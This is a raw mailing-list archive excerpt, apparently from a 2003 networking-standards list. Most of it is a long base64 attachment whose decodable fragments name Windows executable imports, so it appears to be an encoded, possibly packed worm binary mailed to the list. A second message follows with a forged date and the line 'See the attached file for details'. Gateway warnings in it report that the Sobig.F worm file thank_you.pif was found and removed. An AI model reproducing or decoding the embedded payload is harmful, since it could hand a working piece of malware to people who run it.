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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAADeAAAAWEMwMDE4MTVkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAGAEAAFhDMDAxODE1ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPgGAABYQzAwMTgxNWQ=
--_NextPart_000_008B4B98--



From owner-mpls@UU.NET  Wed Oct 15 12:20:55 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07558
	for <mpls-archive@lists.ietf.org>; Wed, 15 Oct 2003 12:20:53 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpknp00318
	for <mpls-archive@lists.ietf.org>; Wed, 15 Oct 2003 16:20:58 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpknp00088;
	Wed, 15 Oct 2003 16:20:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkno26214
	for mpls-outgoing; Wed, 15 Oct 2003 16:03:11 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpkno26146
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 15 Oct 2003 16:03:10 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkno01761
	for <mpls@uu.net>; Wed, 15 Oct 2003 16:00:57 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkno16895
	for <mpls@uu.net>; Wed, 15 Oct 2003 16:00:56 GMT
Received: from sj-iport-5.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87] (may be forged))
	id QQpkno16873
	for <mpls@uu.net>; Wed, 15 Oct 2003 16:00:55 GMT
Received: from cisco.com (64.102.124.13)
  by sj-iport-5.cisco.com with ESMTP; 15 Oct 2003 09:01:19 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9FG0plb018343
	for <mpls@uu.net>; Wed, 15 Oct 2003 12:00:51 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADD86020;
	Wed, 15 Oct 2003 12:00:49 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9FG0ns02408 for mpls@uu.net; Wed, 15 Oct 2003 12:00:49 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpknn13328
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 15 Oct 2003 15:59:30 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpknn17235
	for <mpls@uu.net>; Wed, 15 Oct 2003 15:57:36 GMT
From: jamoussi@nortelnetworks.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.79.227])
	id QQphnj17929
	for <mpls@uu.net>; Wed, 24 Sep 2003 11:59:32 GMT
Message-Id: <QQphnj17929.200309241159@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Details
Date: Fri, 1 Jan 1999 7:38:37 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_01A36D24"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_01A36D24
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

------------------  Virus Warning Message (on the network)

Found virus WORM_SOBIG.F in file thank_you.pif
The uncleanable file is deleted.

---------------------------------------------------------

--_NextPart_000_01A36D24
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

See the attached file for details
--_NextPart_000_01A36D24
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


------------------  Virus Warning Message (on the network)

thank_you.pif is removed from here because it contains a virus.

---------------------------------------------------------
--_NextPart_000_01A36D24--



